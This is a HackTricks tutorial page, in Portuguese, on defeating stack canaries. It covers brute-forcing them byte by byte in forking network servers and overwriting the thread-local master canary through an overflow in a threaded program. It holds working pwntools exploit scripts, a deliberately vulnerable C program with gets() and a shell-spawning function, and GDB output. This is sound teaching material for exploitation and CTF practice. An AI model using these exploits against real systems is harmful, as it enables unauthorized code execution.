# BF Forked & Threaded Stack Canaries {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} **Se você está enfrentando um binário protegido por um canário e PIE (Executable Independente de Posição), você provavelmente precisa encontrar uma maneira de contorná-los.** ![](<../../../../.gitbook/assets/image (144).png>) {% hint style="info" %} Note que **`checksec`** pode não encontrar que um binário está protegido por um canário se este foi compilado estaticamente e não é capaz de identificar a função.\ No entanto, você pode notar isso manualmente se descobrir que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair. {% endhint %} ## Brute force Canary A melhor maneira de contornar um canário simples é se o binário for um programa **que cria processos filhos toda vez que você estabelece uma nova conexão** com ele (serviço de rede), porque toda vez que você se conecta a ele **o mesmo canário será usado**. Então, a melhor maneira de contornar o canário é apenas **forçá-lo de forma bruta, caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado corretamente e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra maneira em **outra situação** poderia ser usando um **try/except**): ### Exemplo 1 Este exemplo é implementado para 64 bits, mas poderia ser facilmente implementado para 32 bits. ```python from pwn import * def connect(): r = remote("localhost", 8788) def get_bf(base): canary = "" guess = 0x0 base += canary while len(canary) < 8: while guess != 0xff: r = connect() r.recvuntil("Username: ") r.send(base + chr(guess)) if "SOME OUTPUT" in r.clean(): print "Guessed correct byte:", format(guess, '02x') canary += chr(guess) base += chr(guess) guess = 0x0 r.close() break else: guess += 1 r.close() print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) return base canary_offset = 1176 base = "A" * canary_offset print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` ### Exemplo 2 Isso é implementado para 32 bits, mas isso pode ser facilmente alterado para 64 bits.\ Também note que para este exemplo o **programa esperava primeiro um byte para indicar o tamanho da entrada** e o payload. ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): known_canary = b"" test_canary = 0x0 len_bytes_to_read = 0x21 for j in range(0, 4): # Iterate up to 0xff times to brute force all posible values for byte for test_canary in range(0xff): print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") # Send the current input size target.send(len_bytes_to_read.to_bytes(1, "little")) # Send this iterations canary target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) # Scan in the output, determine if we have a correct value output = target.recvuntil(b"exit.") if b"YUM" in output: # If we have a correct value, record the canary value, reset the canary value, and move on print(" - next byte is: " + hex(test_canary)) known_canary = known_canary + test_canary.to_bytes(1, "little") len_bytes_to_read += 1 break # Return the canary return known_canary # Start the target process target = process('./feedme') #gdb.attach(target) # Brute force the canary canary = breakCanary() log.info(f"The canary is: {canary}") ``` ## Threads Threads do mesmo processo também **compartilharão o mesmo token canário**, portanto será possível **forçar** um canário se o binário gerar uma nova thread toda vez que um ataque acontecer. Um estouro de buffer em uma função com threads protegida com canário pode ser usado para modificar o canário mestre do processo. Como resultado, a mitigação é inútil porque a verificação é feita com dois canários que são iguais (embora modificados). ### Example O seguinte programa é vulnerável a Buffer Overflow, mas é compilado com canário: ```c #include #include #include #include // gcc thread_canary.c -no-pie -l pthread -o thread_canary void win() { execve("/bin/sh", NULL, NULL); } void* vuln() { char data[0x20]; gets(data); } int main() { pthread_t thread; pthread_create(&thread, NULL, vuln, NULL); pthread_join(thread, NULL); return 0; } ``` Observe que `vuln` é chamado dentro de uma thread. No GDB, podemos dar uma olhada em `vuln`, especificamente, no ponto em que o programa chama `gets` para ler os dados de entrada: ```bash gef> break gets Breakpoint 1 at 0x4010a0 gef> run ... gef> x/10gx $rdi 0x7ffff7d7ee20: 0x0000000000000000 0x0000000000000000 0x7ffff7d7ee30: 0x0000000000000000 0x0000000000000000 0x7ffff7d7ee40: 0x0000000000000000 0x493fdc653a156800 0x7ffff7d7ee50: 0x0000000000000000 0x00007ffff7e17ac3 0x7ffff7d7ee60: 0x0000000000000000 0x00007ffff7d7f640 ``` O acima representa o endereço de `data`, onde o programa irá gravar a entrada do usuário. O stack canary é encontrado em `0x7ffff7d7ee48` (`0x493fdc653a156800`), e o endereço de retorno está em `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`): ```bash gef> telescope $rdi 8 -n 0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000 <- $rdi 0x7ffff7d7ee28|+0x0008|+001: 0x0000000000000000 0x7ffff7d7ee30|+0x0010|+002: 0x0000000000000000 0x7ffff7d7ee38|+0x0018|+003: 0x0000000000000000 0x7ffff7d7ee40|+0x0020|+004: 0x0000000000000000 0x7ffff7d7ee48|+0x0028|+005: 0x493fdc653a156800 <- canary 0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000 <- $rbp 0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 -> 0xe8ff31fffffe6fe9 <- retaddr[2] ``` Observe que os endereços da pilha não pertencem à pilha real: ```bash gef> vmmap stack [ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ] Start End Size Offset Perm Path 0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <- $rbx, $rsp, $rbp, $rsi, $rdi, $r12 0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $r9, $r15 ``` A pilha da thread é colocada acima do Armazenamento Local de Thread (TLS), onde o canário mestre é armazenado: ```bash gef> tls $tls = 0x7ffff7d7f640 ... ---------------------------------------------------------------------------- TLS ---------------------------------------------------------------------------- 0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640 -> [loop detected] <- $rbx, $r12 0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0 -> 0x0000000000000001 0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640 -> [loop detected] 0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001 0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000 0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800 <- canary 0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4 <- PTR_MANGLE cookie 0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000 ... ``` {% hint style="info" %} Algumas das funções GDB acima são definidas em uma extensão chamada [bata24/gef](https://github.com/bata24/gef), que possui mais recursos do que o usual [hugsy/gef](https://github.com/hugsy/gef). {% endhint %} Como resultado, um grande Buffer Overflow pode permitir modificar tanto o stack canary quanto o master canary no TLS. Este é o offset: ```bash gef> p/x 0x7ffff7d7f668 - $rdi $1 = 0x848 ``` Este é um pequeno exploit para chamar `win`: ```python from pwn import * context.binary = 'thread_canary' payload = b'A' * 0x28 # buffer overflow offset payload += b'BBBBBBBB' # overwritting stack canary payload += b'A' * 8 # saved $rbp payload += p64(context.binary.sym.win) # return address payload += b'A' * (0x848 - len(payload)) # padding payload += b'BBBBBBBB' # overwritting master canary io = context.binary.process() io.sendline(payload) io.interactive() ``` ## Outros exemplos e referências * [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html) * 64 bits, sem PIE, nx, canário BF, escrever em alguma memória um ROP para chamar `execve` e pular lá. * [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) * 64 bits, sem PIE, nx, modificar o canário de thread e o canário mestre.